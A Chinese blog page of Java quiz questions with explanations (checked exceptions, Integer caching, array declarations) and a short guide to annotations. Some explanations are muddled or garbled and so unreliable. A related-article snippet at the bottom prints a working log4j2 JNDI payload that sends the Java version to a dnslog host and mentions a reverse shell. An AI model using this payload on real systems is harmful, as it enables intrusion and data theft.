精进日常:每日练习与明智取舍的艺术

news2024/11/25 15:00:20

目录

  • 题目
    • 1.对于非运行时异常,程序中一般可不做处理,由java虚拟机自动进行处理。
    • 2.下面哪个关键字可以用于Java的构造方法上?
    • 3.以下代码执行的结果显示是多少( )?
      • 注解
      • 总结

题目

选自牛客网

1.对于非运行时异常,程序中一般可不做处理,由java虚拟机自动进行处理。

A.正确
B.错误
正确答案:B

在Java中,非运行时异常(也称为编译时异常或checked
exceptions)是通过java.lang.Exception类及其子类来定义的,但不包括java.lang.RuntimeException及其子类。非运行时异常通常表示应用程序的外部错误,如输入/输出错误或网络错误,这些错误是应用程序可以预见并应该处理的。

对于非运行时异常,程序必须显式处理它们。这意味着,要么在方法中捕获并处理这些异常,要么在方法签名中通过throws关键字声明这些异常,表明调用者需要处理它们。这是Java的编译时检查机制的一部分,目的是强制程序员在编写代码时就考虑到可能发生的异常情况,并提供相应的处理逻辑,以增强代码的健壮性和可维护性。

因此,选项B“错误”是正确的。程序中对于非运行时异常不能不做处理,而应该由开发者通过异常处理机制来管理,而不是依赖于Java虚拟机(JVM)自动处理。JVM会自动处理的是运行时异常(unchecked exceptions),这些异常通常是编程错误,如空指针异常、数组越界异常等,它们在编译时不需要声明,但在运行时由JVM捕获并处理。

2.下面哪个关键字可以用于Java的构造方法上?

A.final
B.static
C.synchronized
D.native
E.None of these.

正确答案:E
构造方法不能被子类继承,所以用final修饰没有意义。构造方法用于创建一个新的对象,不能作为类的静态方法,所以用static修饰没有意义。此外,Java语言不支持native或synchronized的构造方法。

3.以下代码执行的结果显示是多少( )?

在这里插入图片描述

A.true,false,true
B.false,true,false
C.true,true,false
D.false,false,true

正确答案:D
在 Java中,当我们使用基本数据类型和它们对应的包装类时,会涉及到自动装箱和自动拆箱的过程。自动装箱是指将基本数据类型自动转换为它们对应的包装类类型,而自动拆箱则是相反的过程。

在上述代码中,当我们将两个 Integer 对象进行比较时,使用了 “" 运算符。如果两个对象的引用地址相同,"” 运算符将返回 true,否则返回 false。
在 Java 中,对于 -128 到 127 之间的整数,JVM 会自动缓存这些整数的 Integer对象,以便于节省内存和提高性能。这意味着,当我们在代码中使用自动装箱将一个整数转换为 Integer 对象时,如果这个整数在 -128 到127 之间,JVM 将返回缓存中的同一个 Integer 对象的引用,而不是创建一个新的 Integer 对象。因此,当我们比较两个这样的Integer 对象时,“==” 运算符将返回 true。

但是,如果我们将两个大于 127 的整数进行比较,JVM 将创建两个不同的 Integer
对象,即使它们的值相同。因此,当我们比较两个这样的 Integer 对象时,“==” 运算符将返回 false。例如,如果我们有以下代码:

System.out.println(i5 == i6); // 输出 false ```

在这种情况下,我们使用 "new" 关键字显式创建了两个不同的 Integer 对象,因此它们的引用地址不同,"==" 运算符将返回
false。如果我们要比较两个 Integer 对象的值,而不是它们的引用地址,我们应该使用 equals() 方法,而不是 "=="
运算符。例如:

```java Integer i5 = new Integer(100); Integer i6 = new Integer(100);
System.out.println(i5.equals(i6)); // 输出 true ```

在这种情况下,我们将两个 Integer 对象的值进行比较,而不是它们的引用地址,因此 equals() 方法将返回 true

4.Which statement declares a variable a which is suitable for referring to an array of 50 string objects?
下面哪个Java语句声明了一个适合于创建50个字符串对象数组的变量?
A.char a[][];
B.String a[];
C.String[] a;
D.Object a[50];
E.String a[50];
F.Object a[];

正确答案:BCF 在 Java 中,声明数组变量的语法是在数据类型后面加上一对方括号。例如,声明一个 int
类型的数组变量,可以写为 “int[] arr” 或者 “int arr[]”,这两种写法是等价的。因此,选项 B 和 C
都可以正确声明一个字符串数组变量,其中选项 B 使用了后置方括号,选项 C 使用了前置方括号。 选项 F 也可以正确声明一个 Object
类型的数组变量,但是它没有指定数组的大小。如果要指定数组的大小,可以使用以下语法: Object[] arr = new Object[50];

这样就创建了一个长度为 50 的 Object 类型的数组。 选项 A、D 和 E 都不是正确的声明字符串数组变量的语法。选项 A
声明了一个二维字符数组变量,选项 D 声明了一个长度为 50 的 Object 类型数组变量,但是没有指定数组的类型,选项 E
声明了一个长度为 50 的 String 类型数组变量,但是没有使用方括号来表示数组。

5.Stack通常是指“先进先出”的容器。( )

A.正确
B.错误
正确答案:B

Stack(栈)实际上是一种遵循“后进先出”(Last In, First
Out,简称LIFO)原则的数据结构。这意味着最后进入栈的元素将是第一个被取出的。这种数据结构在计算机科学中非常常见,用于各种场景,如函数调用的管理、表达式求值、回溯算法等。


6.Java语言中,下面哪个语句是创建数组的正确语句?( )
A.float f[][] = new float[6][6];
B.float []f[] = new float[6][6];
C.float f[][] = new float[][6];
D.float [][]f = new float[6][6];
E.float [][]f = new float[6][];
正确答案:ABDE

在Java中,数组的声明和创建可以采用不同的语法,但是每种语法都有其特定的规则。下面是对每个给出选项的分析:

A. float f[][] = new float[6][6];

  • 这是二维数组的声明和创建。数组f是一个浮点数的二维数组,它有6行6列。

B. float []f[] = new float[6][6];

  • 这是另一种声明二维数组的方法。数组f同样是一个浮点数的二维数组,它有6行6列。

D. float [][]f = new float[6][6];

  • 这与A选项的语法相同,只是数组的声明和创建在不同的行。数组f是一个浮点数的二维数组,它有6行6列。

E. float [][]f = new float[6][];

  • 这种语法创建的是一个“数组的数组”。数组f是一个包含6个元素的一维数组,每个元素都是一个浮点数数组(即列数组)。这种情况下,列数组的长度可以是不同的。但是,如果所有列数组的长度都相同,例如在创建时就初始化,那么它等价于创建一个标准的二维数组。

C. float f[][] = new float[][6];

  • 这个语句是不合法的,因为Java中数组的大小必须在创建时指定。这里的语法尝试创建一个未知长度的数组,然后为每一行指定一个固定长度,这在Java中是不允许的。

因此,正确答案是ABDE,它们都是合法的创建二维数组的语句。C选项是不合法的,因为它尝试使用一个不被支持的语法来创建数组。


注解

在Java中,@Override, @Deprecated, 和 @SuppressWarnings 是三个非常重要的注解,它们分别用于不同的目的:

  1. @Override注解

    • 这个注解用于方法声明上,表示当前方法覆盖了超类中的一个方法。
    • 如果一个方法被错误地标注了@Override(例如,方法的签名与超类中的方法不匹配,或者超类中不存在该方法),那么编译器将抛出一个错误。
  2. @Deprecated注解

    • 用于标记类、方法、构造器或字段为过时,不鼓励使用。
    • 当代码中使用了@Deprecated标记的元素时,编译器会发出警告。
    • 这个注解通常用于表明某个API或功能在未来可能被移除,或者有更优的替代方案。
  3. @SuppressWarnings注解

    • 这个注解用于抑制编译器的警告信息。
    • 它可以接受一个或多个字符串参数,每个字符串参数对应一种警告类型。
    • 例如,@SuppressWarnings("unchecked")用于抑制与泛型类型检查相关的警告。
    • 虽然使用这个注解可以避免编译时的警告,但它也可能掩盖潜在的问题,因此应谨慎使用。

下面是这三个注解的使用示例:

// 使用 @Override 注解
class BaseClass {
    public void method() {
        // 方法实现
    }
}

class DerivedClass extends BaseClass {
    @Override
    public void method() {
        // 覆盖方法的实现
    }
}

// 使用 @Deprecated 注解
class SomeClass {
    @Deprecated
    public void deprecatedMethod() {
        // 已废弃的方法实现
    }
}

// 使用 @SuppressWarnings 注解
class SuppressingWarnings {
    @SuppressWarnings("unchecked")
    public void method() {
        List<String> list = (List<String>) new ArrayList(); // 抑制类型检查警告
    }
}

这些注解的使用可以提高代码的可读性和可维护性,同时也能帮助开发者更好地管理代码中的API使用和潜在的编译时警告。

总结

在这里插入图片描述
坚持有所为,有所不为。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967541.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GCC编译:静态链接库与动态链接库

&#xff01; GCC 编译 C(C)静态链接库&#xff08;gcc -L、gcc -l&#xff09;和动态链接库&#xff08;gcc -fPIC -shared&#xff09;的创建和使用_fpic shared-CSDN博客https://blog.csdn.net/wohu1104/article/details/110789570静态链接库&#xff1a; 在 Linux 发行版…

JDFrame 一款比 Java 8 Stream 更灵活的数据处理工具

一、JDFrame 介绍 在大数据处理领域&#xff0c;Apache Spark以其强大的分布式计算能力和丰富的数据处理API而广受好评。然而&#xff0c;在许多日常的软件开发场景中&#xff0c;我们面临的数据量可能并不需要Spark这样的分布式系统来处理。相反&#xff0c;我们更希望有一种…

聊聊ChatGLM2-6B模型的微调

概述 GLM、ChatGLM的相关基础知识说明&#xff1a; GLM模型底层还是基于Transformer&#xff0c;因此其设计、优化都是围绕Transformer的各个组件的。从注意力层的掩码、位置编码等方面优化与设计。ChatGLM3/ChatGLM2的源码中&#xff0c;比如finetune、trainer等代码&#x…

看不见的硝烟:中国网络安全三十年沉浮史

昆仑侠 锦缎 2022 年 05 月 20 日 本文系基于公开资料撰写&#xff0c;仅作为信息交流之用&#xff0c;不构成任何投资建议。 2022 年 5 月 16 日&#xff0c;俄罗斯黑客组织 KillNet 向包括美国、英国、德国在内 10 个国家的政府正式 “宣战”。 2022 年 4 月 28 日&#xf…

vue如何在组件中监听路由参数的变化

使用 watch 监听 $route 对象 的变化&#xff0c;从而捕捉路由参数的变化 beforeRouteUpdate 导航守卫 当前组件路由更新时调用 beforeRouteUpdate 钩子只在组件被复用时调用&#xff0c;即当组件实例仍然存在时。如果组件是完全重新创建的&#xff0c;那么应该使用 beforeR…

GD 32 滤波算法

GD32硬件滤波算法 程序代码&#xff1a; #include <stdint.h> #include <stdio.h> #include "gd32f30x.h" #include "delay.h"static void GpioInit(void) {rcu_periph_clock_enable(RCU_GPIOC);gpio_init(GPIOC, GPIO_MODE_AIN, GPIO_OSPEED_…

log4j2远程执行代码CVE-2021-44228复现

一.访问网址 发现 /solr/admin/cores?action参数 可以上传 如下图 步骤二 在dnslog平台上来监控我们注入的效果 上传参数 solr/admin/cores?action${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号 查看他的回显 开始准备反弹shell 下载JDNI&#xff0c…

编程语言 | C | 代码整理 | 4月

八月拍了拍你&#xff0c;并对你说&#xff1a;“好运就要开始了”&#xff01; 目录 编程语言 | C | 代码整理 | 4月2019/4/12019/4/22019/4/22019/4/32019/4/42019/4/52019/4/62019/4/72019/4/82019/4/92019/4/102019/4/112019/4/122019/4/132019/4/142019/4/152019/4/162019…

【简历】武汉某985大学:前端简历指导,拿offer可能性低

注&#xff1a;为保证用户信息安全&#xff0c;姓名和学校等信息已经进行同层次变更&#xff0c;内容部分细节也进行了部分隐藏 简历说明 这是一份985武汉某大学25届的前端简历&#xff0c;那么985面向的肯定是大厂的层次&#xff0c;但是作为前端简历&#xff0c;学校部分&a…

Jenkins的安装方式

一、Jenkins是什么 Jenkins是一款开源CI&CD软件&#xff0c;用于自动化构建、测试和部署软件等各种任务&#xff0c;以实现持续集成。 Jenkins支持各种运行方式&#xff0c;可通过系统包、Docker或者通过一个独立的Java程序。 二、安装方式 2.1禅道智能应用平台一键安装…

区间预测 | 光伏出力的区间预测(Matlab)

区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09; 目录 区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.适用于matlab2020及以上。可任意选择置信区间&#xff0c;区间覆盖率picp、区间平均…

入门Pandas必练习100题基础到进阶|阶级教程2

作者:郭震 51. How to get the row number of the nth largest value in a column? Find the row position of the 5th largest value of column a in df. # input df pd.DataFrame(np.random.randint(1, 30, 30).reshape(10,-1), columnslist(abc)) df# Solution 1# argsort…

Modelsim仿真Vivado IP核报错

问题 VIVADO版本为2017.2&#xff0c;Modelsim版本为10.7c 在vivado中调用modelsim仿真&#xff0c;出现报错“Module GND is not defined.”&#xff0c;“Module LUT4 is not defined.”等等一大堆&#xff0c;所有的IP核都是这样的报错。 由于问题已经解决了所以我没有报…

基于Flask的出租车、GPS轨迹数据分析可视化系统

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍技术路线内容介绍数据预处理系统界面可视化展示每文一语 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主 项目介绍 针对杭州市出租车GPS数据的分析&…

万虹商城电影售票系统设计与实现

1 项目介绍 1.1 摘要 在如今高速发展的社会&#xff0c;电影产业蓬勃发展&#xff0c;人们对电影的需求日益增加&#xff0c;导致电影售票系统需要更加高效、便捷地满足观众的购票需求。传统的电影售票方式伴随着一系列的问题&#xff0c;排队购票现象是最为突出和普遍的现象…

拥抱简约之美,浦东TOP5装修公司打造现代风尚空间

在浦东地区&#xff0c;现代简约风格因其清新、实用的特点而深受居民喜爱。以下是五大装修公司&#xff0c;它们专注于打造现代风尚的居住空间&#xff1a; 1&#xff0e;即住空间装饰 设计理念&#xff1a;即住空间装饰以"高效、省心、精工"为核心理念&#xff0c…

【LeetCode每日一题】长度最小的子数组

【LeetCode每日一题】长度最小的子数组 标签: 二分&#xff0c;前缀和&#xff0c;滑动窗口&#xff0c;双指针 前缀和&二分 target要大于等于子数组nums[l]到nums[r]这段连续区间的和&#xff0c;因此想到用前缀和sums[r]-sums[l-1]可以快速求得区间和。 如何寻找targ…

1.DM8下载与安装

下载地址&#xff1a;产品下载 | 达梦数据库 DM8的安装与卸载&#xff0c;请参考课件资料中的《DM8 Install.pdf》。 2.DM8管理工具 更多的DM8管理工具请查看官方文档。 2.1.DM服务查看器 DM 服务查看器&#xff0c;顾名思义是对数据库服务进行查看管理的工具。通过服务查看…

JNDI-反序列化

参考博客&#xff1a; JNDI注入与动态类加载 分析版本 jdk8u201 流程分析 在前面JNDI-ldap绕过分析中提到&#xff0c;存在ldap原生反序列化利用点。 再回顾一下&#xff0c;在deserializeObject private static Object deserializeObject(byte[] var0, ClassLoader var…

Linux 命令,grep 说明与使用

1&#xff1a;grep命令功用&#xff1a; 一种强大的文本搜索工具&#xff0c;在一个或多个fles中搜索与正则表达式pattern相匹配的行。 如果有匹配行&#xff0c;则退出状态是0;如果没有匹配的行&#xff0c;则退出状态是1;有错误时退出状态是2。 2&#xff1a;命令构件: grep…